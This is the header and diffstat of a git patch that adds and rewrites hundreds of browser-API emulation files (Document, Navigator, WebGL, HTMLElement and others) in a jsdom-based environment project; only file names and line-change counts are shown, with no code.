From a27aa6f31bd0e3e58aa60f8b39bf436093409302 Mon Sep 17 00:00:00 2001 From: xuxiaobo-bobo <826814133@qq.com> Date: Mon, 5 Jun 2023 23:25:43 +0800 Subject: [PATCH] '0605' --- env_xbb_lastest_jsdom/.idea/workspace.xml | 2 - env_xbb_lastest_jsdom/Export.py | 253 - env_xbb_lastest_jsdom/config/changeDom.js | 30 +- env_xbb_lastest_jsdom/config/config.js | 76 +- env_xbb_lastest_jsdom/config/env.config.js | 3 + env_xbb_lastest_jsdom/decode.js | 112 - env_xbb_lastest_jsdom/decode2.js | 50 - env_xbb_lastest_jsdom/env copy/Attr.js | 16 + env_xbb_lastest_jsdom/env copy/Audio.js | 10 + env_xbb_lastest_jsdom/env copy/BarProp.js | 25 + .../env copy/BaseAudioContext.js | 31 + .../env copy/BatteryManager.js | 13 + .../env copy/BeforeInstallPromptEvent.js | 16 + env_xbb_lastest_jsdom/env copy/Bluetooth.js | 7 + .../env copy/BluetoothUUID.js | 7 + .../env copy/CDATASection.js | 5 + env_xbb_lastest_jsdom/env copy/CSS.js | 36 + env_xbb_lastest_jsdom/env copy/CSSRuleList.js | 5 + .../env copy/CSSStyleDeclaration.js | 12 + .../env copy/CacheStorage.js | 11 + .../env copy/CanvasRenderingContext2D.js | 75 + .../env copy/CharacterData.js | 18 + env_xbb_lastest_jsdom/env copy/CloseEvent.js | 19 + env_xbb_lastest_jsdom/env copy/Comment.js | 10 + env_xbb_lastest_jsdom/env copy/CookieStore.js | 13 + .../env copy/CredentialsContainer.js | 7 + env_xbb_lastest_jsdom/env copy/Crypto.js | 10 + .../env copy/CustomElementRegistry.js | 11 + env_xbb_lastest_jsdom/env copy/DOMParser.js | 9 + .../env copy/DOMStringList.js | 6 + env_xbb_lastest_jsdom/env copy/Database.js | 13 + .../env copy/DeprecatedStorageInfo.js | 13 + .../env copy/DeviceOrientationEvent.js | 18 + env_xbb_lastest_jsdom/env copy/Document.js | 238 + .../env copy/DocumentFragment.js | 19 + .../env copy/DocumentType.js | 12 + env_xbb_lastest_jsdom/env copy/Element.js | 135 + env_xbb_lastest_jsdom/env copy/Event.js | 46 + env_xbb_lastest_jsdom/env copy/EventTarget.js | 12 + env_xbb_lastest_jsdom/env copy/External.js | 10 + .../env copy/HTMLAudioElement.js | 12 + .../env copy/HTMLCollection.js | 6 + .../env copy/HTMLDocument.js | 15 + env_xbb_lastest_jsdom/env copy/HTMLElement.js | 135 + env_xbb_lastest_jsdom/env copy/Headers.js | 16 + env_xbb_lastest_jsdom/env copy/History.js | 14 + env_xbb_lastest_jsdom/env copy/IDBDatabase.js | 16 + env_xbb_lastest_jsdom/env copy/IDBFactory.js | 12 + .../env copy/IDBObjectStore.js | 22 + .../env copy/IDBOpenDBRequest.js | 7 + env_xbb_lastest_jsdom/env copy/IDBRequest.js | 12 + .../env copy/IDBTransaction.js | 16 + .../env copy/IDBVersionChangeEvent.js | 16 + env_xbb_lastest_jsdom/env copy/Location.js | 25 + env_xbb_lastest_jsdom/env copy/LockManager.js | 5 + .../env copy/MediaEncryptedEvent.js | 15 + .../env copy/MediaQueryList.js | 10 + env_xbb_lastest_jsdom/env copy/MediaStream.js | 23 + env_xbb_lastest_jsdom/env copy/MimeType.js | 7 + .../env copy/MimeTypeArray.js | 6 + env_xbb_lastest_jsdom/env copy/MouseEvent.js | 40 + .../env copy/MutationObserver.js | 14 + .../env copy/NamedNodeMap.js | 11 + env_xbb_lastest_jsdom/env copy/Navigation.js | 26 + env_xbb_lastest_jsdom/env copy/Navigator.js | 77 + .../env copy/NetworkInformation.js | 10 + env_xbb_lastest_jsdom/env copy/Node.js | 70 + env_xbb_lastest_jsdom/env copy/NodeList.js | 9 + .../env copy/Notification.js | 35 + .../env copy/OfflineAudioContext.js | 18 + .../OffscreenCanvasRenderingContext2D.js | 73 + env_xbb_lastest_jsdom/env copy/Option.js | 17 + env_xbb_lastest_jsdom/env copy/Path2D.js | 18 + env_xbb_lastest_jsdom/env copy/Performance.js | 27 + .../env copy/PerformanceEntry.js | 8 + .../env copy/PerformancePaintTiming.js | 5 + .../env copy/PerformanceResourceTiming.js | 26 + .../env copy/PermissionStatus.js | 8 + env_xbb_lastest_jsdom/env copy/Permissions.js | 4 + env_xbb_lastest_jsdom/env copy/Plugin.js | 9 + env_xbb_lastest_jsdom/env copy/PluginArray.js | 7 + .../env copy/PointerEvent.js | 37 + .../PresentationConnectionCloseEvent.js | 14 + env_xbb_lastest_jsdom/env copy/Promise.js | 193 + .../env copy/RTCDataChannel.js | 25 + .../env copy/RTCPeerConnection.js | 60 + .../env copy/RTCSessionDescription.js | 6 + env_xbb_lastest_jsdom/env copy/Request.js | 32 + env_xbb_lastest_jsdom/env copy/SVGElement.js | 109 + env_xbb_lastest_jsdom/env copy/SVGGElement.js | 5 + .../env copy/SVGGeometryElement.js | 10 + .../env copy/SVGGraphicsElement.js | 13 + .../env copy/SVGPathElement.js | 5 + .../env copy/SVGPatternElement.js | 17 + .../env copy/SVGSVGElement.js | 43 + .../env copy/SVGSymbolElement.js | 7 + .../env copy/SVGUseElement.js | 10 + env_xbb_lastest_jsdom/env copy/Scheduler.js | 8 + env_xbb_lastest_jsdom/env copy/Screen.js | 22 + .../env copy/ScreenOrientation.js | 10 + .../env copy/SourceBuffer.js | 20 + .../env copy/SpeechSynthesis.js | 19 + .../env copy/SpeechSynthesisUtterance.js | 22 + env_xbb_lastest_jsdom/env copy/Storage.js | 16 + .../env copy/StorageManager.js | 9 + env_xbb_lastest_jsdom/env copy/StyleMedia.js | 9 + env_xbb_lastest_jsdom/env copy/Text.js | 12 + .../env copy/TextTrackList.js | 10 + .../env copy/TrustedTypePolicyFactory.js | 18 + env_xbb_lastest_jsdom/env copy/UIEvent.js | 19 + .../env copy/VisualViewport.js | 21 + env_xbb_lastest_jsdom/env copy/WebGLBuffer.js | 3 + .../env copy/WebGLProgram.js | 3 + .../env copy/WebGLRenderingContext.js | 737 + env_xbb_lastest_jsdom/env copy/WebGLShader.js | 3 + .../env copy/WebGLShaderPrecisionFormat.js | 6 + env_xbb_lastest_jsdom/env copy/WebSocket.js | 38 + env_xbb_lastest_jsdom/env copy/Window.js | 12 + .../env copy/WindowProperties.js | 9 + .../env copy/XMLHttpRequest.js | 41 + .../env copy/XMLHttpRequestEventTarget.js | 12 + .../env copy/XPathExpression.js | 4 + .../htmlElements/HTMLAllCollection.js | 7 + .../htmlElements/HTMLAnchorElement.js | 32 + .../env copy/htmlElements/HTMLBRElement.js | 6 + .../env copy/htmlElements/HTMLBodyElement.js | 33 + .../htmlElements/HTMLButtonElement.js | 22 + .../htmlElements/HTMLCanvasElement.js | 12 + .../env copy/htmlElements/HTMLDivElement.js | 6 + .../htmlElements/HTMLFieldSetElement.js | 16 + .../env copy/htmlElements/HTMLFontElement.js | 8 + .../env copy/htmlElements/HTMLFormElement.js | 21 + .../htmlElements/HTMLFrameSetElement.js | 29 + .../env copy/htmlElements/HTMLHeadElement.js | 5 + .../htmlElements/HTMLHeadingElement.js | 6 + .../env copy/htmlElements/HTMLHtmlElement.js | 6 + .../htmlElements/HTMLIFrameElement.js | 27 + .../env copy/htmlElements/HTMLImageElement.js | 32 + .../env copy/htmlElements/HTMLInputElement.js | 62 + .../env copy/htmlElements/HTMLLIElement.js | 7 + .../htmlElements/HTMLLegendElement.js | 7 + .../env copy/htmlElements/HTMLLinkElement.js | 24 + .../htmlElements/HTMLMarqueeElement.js | 18 + .../env copy/htmlElements/HTMLMediaElement.js | 66 + .../env copy/htmlElements/HTMLMetaElement.js | 10 + .../htmlElements/HTMLOptGroupElement.js | 7 + .../htmlElements/HTMLOptionElement.js | 13 + .../htmlElements/HTMLParagraphElement.js | 6 + .../htmlElements/HTMLScriptElement.js | 19 + .../htmlElements/HTMLSelectElement.js | 29 + .../env copy/htmlElements/HTMLSpanElement.js | 5 + .../env copy/htmlElements/HTMLStyleElement.js | 9 + .../env copy/htmlElements/HTMLTitleElement.js | 6 + .../env copy/htmlElements/HTMLUListElement.js | 7 + .../htmlElements/HTMLUnknownElement.js | 5 + .../env copy/htmlElements/HTMLVideoElement.js | 26 + .../env copy/htmlElements/Image.js | 38 + .../env copy/htmlElements/Option.js | 12 + env_xbb_lastest_jsdom/env/AbortController.js | 35 +- env_xbb_lastest_jsdom/env/AbortSignal.js | 80 +- .../env/AbsoluteOrientationSensor.js | 21 +- env_xbb_lastest_jsdom/env/AbstractRange.js | 65 +- env_xbb_lastest_jsdom/env/Accelerometer.js | 48 +- env_xbb_lastest_jsdom/env/AnalyserNode.js | 113 +- env_xbb_lastest_jsdom/env/Animation.js | 237 +- env_xbb_lastest_jsdom/env/AnimationEffect.js | 47 +- env_xbb_lastest_jsdom/env/AnimationEvent.js | 51 +- .../env/AnimationPlaybackEvent.js | 42 +- .../env/AnimationTimeline.js | 29 +- env_xbb_lastest_jsdom/env/Attr.js | 89 +- env_xbb_lastest_jsdom/env/Audio.js | 19 +- env_xbb_lastest_jsdom/env/AudioBuffer.js | 83 +- .../env/AudioBufferSourceNode.js | 95 +- env_xbb_lastest_jsdom/env/AudioContext.js | 131 +- env_xbb_lastest_jsdom/env/AudioData.js | 110 +- env_xbb_lastest_jsdom/env/AudioDecoder.js | 107 +- .../env/AudioDestinationNode.js | 33 +- env_xbb_lastest_jsdom/env/AudioEncoder.js | 107 +- env_xbb_lastest_jsdom/env/AudioListener.js | 119 +- env_xbb_lastest_jsdom/env/AudioNode.js | 102 +- env_xbb_lastest_jsdom/env/AudioParam.js | 132 +- env_xbb_lastest_jsdom/env/AudioParamMap.js | 83 +- .../env/AudioProcessingEvent.js | 51 +- .../env/AudioScheduledSourceNode.js | 53 +- env_xbb_lastest_jsdom/env/AudioSinkInfo.js | 29 +- env_xbb_lastest_jsdom/env/AudioWorklet.js | 24 +- env_xbb_lastest_jsdom/env/AudioWorkletNode.js | 53 +- .../env/AuthenticatorAssertionResponse.js | 51 +- .../env/AuthenticatorAttestationResponse.js | 69 +- .../env/AuthenticatorResponse.js | 29 +- .../env/BackgroundFetchManager.js | 47 +- .../env/BackgroundFetchRecord.js | 38 +- .../env/BackgroundFetchRegistration.js | 134 +- env_xbb_lastest_jsdom/env/BarProp.js | 29 +- env_xbb_lastest_jsdom/env/BaseAudioContext.js | 260 +- env_xbb_lastest_jsdom/env/BatteryManager.js | 104 +- .../env/BeforeInstallPromptEvent.js | 51 +- .../env/BeforeUnloadEvent.js | 35 +- env_xbb_lastest_jsdom/env/BiquadFilterNode.js | 80 +- env_xbb_lastest_jsdom/env/Blob.js | 71 +- env_xbb_lastest_jsdom/env/BlobEvent.js | 42 +- env_xbb_lastest_jsdom/env/Bluetooth.js | 42 +- .../env/BluetoothCharacteristicProperties.js | 101 +- env_xbb_lastest_jsdom/env/BluetoothDevice.js | 62 +- .../env/BluetoothRemoteGATTCharacteristic.js | 143 +- .../env/BluetoothRemoteGATTDescriptor.js | 65 +- .../env/BluetoothRemoteGATTServer.js | 74 +- .../env/BluetoothRemoteGATTService.js | 65 +- env_xbb_lastest_jsdom/env/BluetoothUUID.js | 56 +- env_xbb_lastest_jsdom/env/BroadcastChannel.js | 73 +- .../env/BrowserCaptureMediaStreamTrack.js | 33 +- .../env/ByteLengthQueuingStrategy.js | 38 +- env_xbb_lastest_jsdom/env/CDATASection.js | 24 +- env_xbb_lastest_jsdom/env/CSS.js | 604 +- env_xbb_lastest_jsdom/env/CSSAnimation.js | 33 +- env_xbb_lastest_jsdom/env/CSSConditionRule.js | 33 +- env_xbb_lastest_jsdom/env/CSSContainerRule.js | 42 +- .../env/CSSCounterStyleRule.js | 145 +- env_xbb_lastest_jsdom/env/CSSFontFaceRule.js | 33 +- .../env/CSSFontPaletteValuesRule.js | 60 +- env_xbb_lastest_jsdom/env/CSSGroupingRule.js | 51 +- env_xbb_lastest_jsdom/env/CSSImageValue.js | 24 +- env_xbb_lastest_jsdom/env/CSSImportRule.js | 62 +- env_xbb_lastest_jsdom/env/CSSKeyframeRule.js | 46 +- env_xbb_lastest_jsdom/env/CSSKeyframesRule.js | 71 +- env_xbb_lastest_jsdom/env/CSSKeywordValue.js | 35 +- .../env/CSSLayerBlockRule.js | 33 +- .../env/CSSLayerStatementRule.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathClamp.js | 51 +- env_xbb_lastest_jsdom/env/CSSMathInvert.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathMax.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathMin.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathNegate.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathProduct.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathSum.js | 33 +- env_xbb_lastest_jsdom/env/CSSMathValue.js | 33 +- .../env/CSSMatrixComponent.js | 35 +- env_xbb_lastest_jsdom/env/CSSMediaRule.js | 35 +- env_xbb_lastest_jsdom/env/CSSNamespaceRule.js | 42 +- env_xbb_lastest_jsdom/env/CSSNumericArray.js | 65 +- env_xbb_lastest_jsdom/env/CSSNumericValue.js | 123 +- env_xbb_lastest_jsdom/env/CSSPageRule.js | 46 +- env_xbb_lastest_jsdom/env/CSSPerspective.js | 35 +- env_xbb_lastest_jsdom/env/CSSPositionValue.js | 46 +- env_xbb_lastest_jsdom/env/CSSPropertyRule.js | 60 +- env_xbb_lastest_jsdom/env/CSSRotate.js | 68 +- env_xbb_lastest_jsdom/env/CSSRule.js | 226 +- env_xbb_lastest_jsdom/env/CSSRuleList.js | 38 +- env_xbb_lastest_jsdom/env/CSSScale.js | 57 +- env_xbb_lastest_jsdom/env/CSSSkew.js | 46 +- env_xbb_lastest_jsdom/env/CSSSkewX.js | 35 +- env_xbb_lastest_jsdom/env/CSSSkewY.js | 35 +- .../env/CSSStyleDeclaration.js | 105 +- env_xbb_lastest_jsdom/env/CSSStyleRule.js | 82 +- env_xbb_lastest_jsdom/env/CSSStyleSheet.js | 102 +- env_xbb_lastest_jsdom/env/CSSStyleValue.js | 47 +- env_xbb_lastest_jsdom/env/CSSSupportsRule.js | 24 +- .../env/CSSTransformComponent.js | 49 +- .../env/CSSTransformValue.js | 87 +- env_xbb_lastest_jsdom/env/CSSTransition.js | 33 +- env_xbb_lastest_jsdom/env/CSSTranslate.js | 57 +- env_xbb_lastest_jsdom/env/CSSUnitValue.js | 44 +- env_xbb_lastest_jsdom/env/CSSUnparsedValue.js | 69 +- .../env/CSSVariableReferenceValue.js | 40 +- env_xbb_lastest_jsdom/env/Cache.js | 87 +- env_xbb_lastest_jsdom/env/CacheStorage.js | 67 +- .../env/CanvasCaptureMediaStreamTrack.js | 42 +- env_xbb_lastest_jsdom/env/CanvasFilter.js | 20 +- env_xbb_lastest_jsdom/env/CanvasGradient.js | 29 +- env_xbb_lastest_jsdom/env/CanvasPattern.js | 29 +- .../env/CanvasRenderingContext2D.js | 720 +- .../env/CaptureController.js | 26 +- .../env/ChannelMergerNode.js | 24 +- .../env/ChannelSplitterNode.js | 24 +- env_xbb_lastest_jsdom/env/CharacterData.js | 143 +- env_xbb_lastest_jsdom/env/Clipboard.js | 60 +- env_xbb_lastest_jsdom/env/ClipboardEvent.js | 33 +- env_xbb_lastest_jsdom/env/ClipboardItem.js | 38 +- env_xbb_lastest_jsdom/env/CloseEvent.js | 51 +- env_xbb_lastest_jsdom/env/Comment.js | 21 +- env_xbb_lastest_jsdom/env/CompositionEvent.js | 42 +- .../env/CompressionStream.js | 38 +- .../env/ConstantSourceNode.js | 33 +- .../ContentVisibilityAutoStateChangeEvent.js | 33 +- env_xbb_lastest_jsdom/env/ConvolverNode.js | 46 +- .../env/CookieChangeEvent.js | 42 +- env_xbb_lastest_jsdom/env/CookieStore.js | 84 +- .../env/CookieStoreManager.js | 47 +- .../env/CountQueuingStrategy.js | 38 +- env_xbb_lastest_jsdom/env/Credential.js | 38 +- .../env/CredentialsContainer.js | 56 +- env_xbb_lastest_jsdom/env/CropTarget.js | 29 +- env_xbb_lastest_jsdom/env/Crypto.js | 59 +- env_xbb_lastest_jsdom/env/CryptoKey.js | 56 +- .../env/CustomElementRegistry.js | 56 +- env_xbb_lastest_jsdom/env/CustomEvent.js | 42 +- env_xbb_lastest_jsdom/env/CustomStateSet.js | 107 +- env_xbb_lastest_jsdom/env/DOMError.js | 38 +- env_xbb_lastest_jsdom/env/DOMException.js | 394 +- .../env/DOMImplementation.js | 56 +- env_xbb_lastest_jsdom/env/DOMMatrix.js | 398 +- .../env/DOMMatrixReadOnly.js | 422 +- env_xbb_lastest_jsdom/env/DOMParser.js | 26 +- env_xbb_lastest_jsdom/env/DOMPoint.js | 74 +- env_xbb_lastest_jsdom/env/DOMPointReadOnly.js | 80 +- env_xbb_lastest_jsdom/env/DOMQuad.js | 89 +- env_xbb_lastest_jsdom/env/DOMRect.js | 74 +- env_xbb_lastest_jsdom/env/DOMRectList.js | 38 +- env_xbb_lastest_jsdom/env/DOMRectReadOnly.js | 107 +- env_xbb_lastest_jsdom/env/DOMStringList.js | 47 +- env_xbb_lastest_jsdom/env/DOMStringMap.js | 20 +- env_xbb_lastest_jsdom/env/DOMTokenList.js | 148 +- env_xbb_lastest_jsdom/env/DataTransfer.js | 102 +- env_xbb_lastest_jsdom/env/DataTransferItem.js | 74 +- .../env/DataTransferItemList.js | 56 +- env_xbb_lastest_jsdom/env/Database.js | 57 +- .../env/DecompressionStream.js | 38 +- env_xbb_lastest_jsdom/env/DelayNode.js | 33 +- .../env/DelegatedInkTrailPresenter.js | 47 +- .../env/DeprecatedStorageInfo.js | 65 +- .../env/DeviceMotionEvent.js | 60 +- .../env/DeviceMotionEventAcceleration.js | 47 +- .../env/DeviceMotionEventRotationRate.js | 47 +- .../env/DeviceOrientationEvent.js | 60 +- env_xbb_lastest_jsdom/env/Document.js | 2596 +- env_xbb_lastest_jsdom/env/DocumentFragment.js | 111 +- env_xbb_lastest_jsdom/env/DocumentTimeline.js | 21 +- env_xbb_lastest_jsdom/env/DocumentType.js | 87 +- env_xbb_lastest_jsdom/env/DragEvent.js | 33 +- .../env/DynamicsCompressorNode.js | 78 +- env_xbb_lastest_jsdom/env/Element.js | 1350 +- env_xbb_lastest_jsdom/env/ElementInternals.js | 581 +- .../env/EncodedAudioChunk.js | 65 +- .../env/EncodedVideoChunk.js | 65 +- env_xbb_lastest_jsdom/env/Error.js | 38 + env_xbb_lastest_jsdom/env/ErrorEvent.js | 69 +- env_xbb_lastest_jsdom/env/Event.js | 254 +- env_xbb_lastest_jsdom/env/EventCounts.js | 83 +- env_xbb_lastest_jsdom/env/EventSource.js | 135 +- env_xbb_lastest_jsdom/env/EventTarget.js | 44 +- env_xbb_lastest_jsdom/env/External.js | 50 +- env_xbb_lastest_jsdom/env/EyeDropper.js | 26 +- env_xbb_lastest_jsdom/env/FeaturePolicy.js | 56 +- .../env/FederatedCredential.js | 60 +- env_xbb_lastest_jsdom/env/File.js | 60 +- env_xbb_lastest_jsdom/env/FileList.js | 38 +- env_xbb_lastest_jsdom/env/FileReader.js | 201 +- .../env/FileSystemDirectoryHandle.js | 87 +- .../env/FileSystemFileHandle.js | 51 +- env_xbb_lastest_jsdom/env/FileSystemHandle.js | 74 +- .../env/FileSystemWritableFileStream.js | 51 +- env_xbb_lastest_jsdom/env/FocusEvent.js | 33 +- env_xbb_lastest_jsdom/env/FontData.js | 65 +- env_xbb_lastest_jsdom/env/FontFace.js | 179 +- .../env/FontFaceSetLoadEvent.js | 33 +- env_xbb_lastest_jsdom/env/FormData.js | 114 +- env_xbb_lastest_jsdom/env/FormDataEvent.js | 33 +- .../env/FragmentDirective.js | 20 +- env_xbb_lastest_jsdom/env/GainNode.js | 33 +- env_xbb_lastest_jsdom/env/Gamepad.js | 92 +- env_xbb_lastest_jsdom/env/GamepadButton.js | 47 +- env_xbb_lastest_jsdom/env/GamepadEvent.js | 33 +- .../env/GamepadHapticActuator.js | 47 +- env_xbb_lastest_jsdom/env/Geolocation.js | 47 +- .../env/GeolocationCoordinates.js | 83 +- .../env/GeolocationPosition.js | 38 +- .../env/GeolocationPositionError.js | 80 +- env_xbb_lastest_jsdom/env/GravitySensor.js | 21 +- env_xbb_lastest_jsdom/env/Gyroscope.js | 48 +- env_xbb_lastest_jsdom/env/HID.js | 64 +- .../env/HIDConnectionEvent.js | 33 +- env_xbb_lastest_jsdom/env/HIDDevice.js | 134 +- .../env/HIDInputReportEvent.js | 51 +- .../env/HTMLAllCollection.js | 47 +- .../env/HTMLAnchorElement.js | 317 +- env_xbb_lastest_jsdom/env/HTMLAreaElement.js | 262 +- env_xbb_lastest_jsdom/env/HTMLAudioElement.js | 24 +- env_xbb_lastest_jsdom/env/HTMLBRElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLBaseElement.js | 46 +- env_xbb_lastest_jsdom/env/HTMLBodyElement.js | 332 +- .../env/HTMLButtonElement.js | 195 +- .../env/HTMLCanvasElement.js | 91 +- env_xbb_lastest_jsdom/env/HTMLCollection.js | 47 +- env_xbb_lastest_jsdom/env/HTMLDListElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLDataElement.js | 35 +- .../env/HTMLDataListElement.js | 33 +- .../env/HTMLDetailsElement.js | 35 +- .../env/HTMLDialogElement.js | 73 +- .../env/HTMLDirectoryElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLDivElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLDocument.js | 44 +- env_xbb_lastest_jsdom/env/HTMLElement.js | 1408 +- env_xbb_lastest_jsdom/env/HTMLEmbedElement.js | 99 +- .../env/HTMLFieldSetElement.js | 127 +- env_xbb_lastest_jsdom/env/HTMLFontElement.js | 57 +- .../env/HTMLFormControlsCollection.js | 33 +- env_xbb_lastest_jsdom/env/HTMLFormElement.js | 208 +- env_xbb_lastest_jsdom/env/HTMLFrameElement.js | 130 +- .../env/HTMLFrameSetElement.js | 288 +- env_xbb_lastest_jsdom/env/HTMLHRElement.js | 79 +- env_xbb_lastest_jsdom/env/HTMLHeadElement.js | 24 +- .../env/HTMLHeadingElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLHtmlElement.js | 35 +- .../env/HTMLIFrameElement.js | 269 +- env_xbb_lastest_jsdom/env/HTMLImageElement.js | 307 +- env_xbb_lastest_jsdom/env/HTMLInputElement.js | 619 +- env_xbb_lastest_jsdom/env/HTMLLIElement.js | 46 +- env_xbb_lastest_jsdom/env/HTMLLabelElement.js | 53 +- .../env/HTMLLegendElement.js | 44 +- env_xbb_lastest_jsdom/env/HTMLLinkElement.js | 242 +- env_xbb_lastest_jsdom/env/HTMLMapElement.js | 44 +- .../env/HTMLMarqueeElement.js | 163 +- env_xbb_lastest_jsdom/env/HTMLMediaElement.js | 573 +- env_xbb_lastest_jsdom/env/HTMLMenuElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLMetaElement.js | 79 +- env_xbb_lastest_jsdom/env/HTMLMeterElement.js | 99 +- env_xbb_lastest_jsdom/env/HTMLModElement.js | 46 +- env_xbb_lastest_jsdom/env/HTMLOListElement.js | 68 +- .../env/HTMLObjectElement.js | 290 +- .../env/HTMLOptGroupElement.js | 46 +- .../env/HTMLOptionElement.js | 108 +- .../env/HTMLOptionsCollection.js | 64 +- .../env/HTMLOutputElement.js | 149 +- .../env/HTMLParagraphElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLParamElement.js | 68 +- .../env/HTMLPictureElement.js | 24 +- env_xbb_lastest_jsdom/env/HTMLPreElement.js | 35 +- .../env/HTMLProgressElement.js | 64 +- env_xbb_lastest_jsdom/env/HTMLQuoteElement.js | 35 +- .../env/HTMLScriptElement.js | 187 +- .../env/HTMLSelectElement.js | 258 +- env_xbb_lastest_jsdom/env/HTMLSlotElement.js | 62 +- .../env/HTMLSourceElement.js | 101 +- env_xbb_lastest_jsdom/env/HTMLSpanElement.js | 24 +- env_xbb_lastest_jsdom/env/HTMLStyleElement.js | 77 +- .../env/HTMLTableCaptionElement.js | 35 +- .../env/HTMLTableCellElement.js | 187 +- .../env/HTMLTableColElement.js | 90 +- env_xbb_lastest_jsdom/env/HTMLTableElement.js | 255 +- .../env/HTMLTableRowElement.js | 124 +- .../env/HTMLTableSectionElement.js | 95 +- .../env/HTMLTemplateElement.js | 53 +- .../env/HTMLTextAreaElement.js | 328 +- env_xbb_lastest_jsdom/env/HTMLTimeElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLTitleElement.js | 35 +- env_xbb_lastest_jsdom/env/HTMLTrackElement.js | 167 +- env_xbb_lastest_jsdom/env/HTMLUListElement.js | 46 +- .../env/HTMLUnknownElement.js | 24 +- env_xbb_lastest_jsdom/env/HTMLVideoElement.js | 227 +- env_xbb_lastest_jsdom/env/HashChangeEvent.js | 42 +- env_xbb_lastest_jsdom/env/Headers.js | 104 +- env_xbb_lastest_jsdom/env/Highlight.js | 128 +- .../env/HighlightRegistry.js | 117 +- env_xbb_lastest_jsdom/env/History.js | 106 +- env_xbb_lastest_jsdom/env/IDBCursor.js | 117 +- .../env/IDBCursorWithValue.js | 33 +- env_xbb_lastest_jsdom/env/IDBDatabase.js | 131 +- env_xbb_lastest_jsdom/env/IDBFactory.js | 56 +- env_xbb_lastest_jsdom/env/IDBIndex.js | 130 +- env_xbb_lastest_jsdom/env/IDBKeyRange.js | 101 +- env_xbb_lastest_jsdom/env/IDBObjectStore.js | 209 +- env_xbb_lastest_jsdom/env/IDBOpenDBRequest.js | 46 +- env_xbb_lastest_jsdom/env/IDBRequest.js | 91 +- env_xbb_lastest_jsdom/env/IDBTransaction.js | 129 +- .../env/IDBVersionChangeEvent.js | 60 +- env_xbb_lastest_jsdom/env/IIRFilterNode.js | 33 +- .../env/IdentityCredential.js | 33 +- env_xbb_lastest_jsdom/env/IdleDeadline.js | 38 +- env_xbb_lastest_jsdom/env/IdleDetector.js | 68 +- env_xbb_lastest_jsdom/env/Image.js | 302 +- env_xbb_lastest_jsdom/env/ImageBitmap.js | 47 +- .../env/ImageBitmapRenderingContext.js | 38 +- env_xbb_lastest_jsdom/env/ImageCapture.js | 65 +- env_xbb_lastest_jsdom/env/ImageData.js | 56 +- env_xbb_lastest_jsdom/env/ImageDecoder.js | 92 +- env_xbb_lastest_jsdom/env/ImageTrack.js | 58 +- env_xbb_lastest_jsdom/env/ImageTrackList.js | 56 +- env_xbb_lastest_jsdom/env/Ink.js | 29 +- .../env/InputDeviceCapabilities.js | 26 +- env_xbb_lastest_jsdom/env/InputDeviceInfo.js | 33 +- env_xbb_lastest_jsdom/env/InputEvent.js | 69 +- .../env/IntersectionObserver.js | 101 +- .../env/IntersectionObserverEntry.js | 92 +- env_xbb_lastest_jsdom/env/Keyboard.js | 47 +- env_xbb_lastest_jsdom/env/KeyboardEvent.js | 197 +- .../env/KeyboardLayoutMap.js | 83 +- env_xbb_lastest_jsdom/env/KeyframeEffect.js | 75 +- .../env/LargestContentfulPaint.js | 87 +- env_xbb_lastest_jsdom/env/LaunchParams.js | 38 +- env_xbb_lastest_jsdom/env/LayoutShift.js | 69 +- .../env/LayoutShiftAttribution.js | 56 +- .../env/LinearAccelerationSensor.js | 21 +- env_xbb_lastest_jsdom/env/Location.js | 190 +- env_xbb_lastest_jsdom/env/Lock.js | 38 +- env_xbb_lastest_jsdom/env/LockManager.js | 38 +- env_xbb_lastest_jsdom/env/MIDIAccess.js | 62 +- .../env/MIDIConnectionEvent.js | 33 +- env_xbb_lastest_jsdom/env/MIDIInput.js | 35 +- env_xbb_lastest_jsdom/env/MIDIInputMap.js | 83 +- env_xbb_lastest_jsdom/env/MIDIMessageEvent.js | 33 +- env_xbb_lastest_jsdom/env/MIDIOutput.js | 33 +- env_xbb_lastest_jsdom/env/MIDIOutputMap.js | 83 +- env_xbb_lastest_jsdom/env/MIDIPort.js | 116 +- env_xbb_lastest_jsdom/env/MathMLElement.js | 1160 +- .../env/MediaCapabilities.js | 38 +- env_xbb_lastest_jsdom/env/MediaDeviceInfo.js | 65 +- env_xbb_lastest_jsdom/env/MediaDevices.js | 80 +- .../env/MediaElementAudioSourceNode.js | 33 +- .../env/MediaEncryptedEvent.js | 42 +- env_xbb_lastest_jsdom/env/MediaError.js | 94 +- .../env/MediaKeyMessageEvent.js | 42 +- env_xbb_lastest_jsdom/env/MediaKeySession.js | 127 +- .../env/MediaKeyStatusMap.js | 83 +- .../env/MediaKeySystemAccess.js | 47 +- env_xbb_lastest_jsdom/env/MediaKeys.js | 47 +- env_xbb_lastest_jsdom/env/MediaList.js | 76 +- env_xbb_lastest_jsdom/env/MediaMetadata.js | 61 +- env_xbb_lastest_jsdom/env/MediaQueryList.js | 71 +- .../env/MediaQueryListEvent.js | 42 +- env_xbb_lastest_jsdom/env/MediaRecorder.js | 198 +- env_xbb_lastest_jsdom/env/MediaSession.js | 78 +- env_xbb_lastest_jsdom/env/MediaSource.js | 155 +- .../env/MediaSourceHandle.js | 20 +- env_xbb_lastest_jsdom/env/MediaStream.js | 146 +- .../env/MediaStreamAudioDestinationNode.js | 33 +- .../env/MediaStreamAudioSourceNode.js | 33 +- env_xbb_lastest_jsdom/env/MediaStreamEvent.js | 33 +- env_xbb_lastest_jsdom/env/MediaStreamTrack.js | 198 +- .../env/MediaStreamTrackEvent.js | 33 +- .../env/MediaStreamTrackGenerator.js | 33 +- .../env/MediaStreamTrackProcessor.js | 29 +- env_xbb_lastest_jsdom/env/MemoryInfo.js | 86 + env_xbb_lastest_jsdom/env/MessageChannel.js | 35 +- env_xbb_lastest_jsdom/env/MessageEvent.js | 87 +- env_xbb_lastest_jsdom/env/MessagePort.js | 73 +- env_xbb_lastest_jsdom/env/MimeType.js | 56 +- env_xbb_lastest_jsdom/env/MimeTypeArray.js | 47 +- 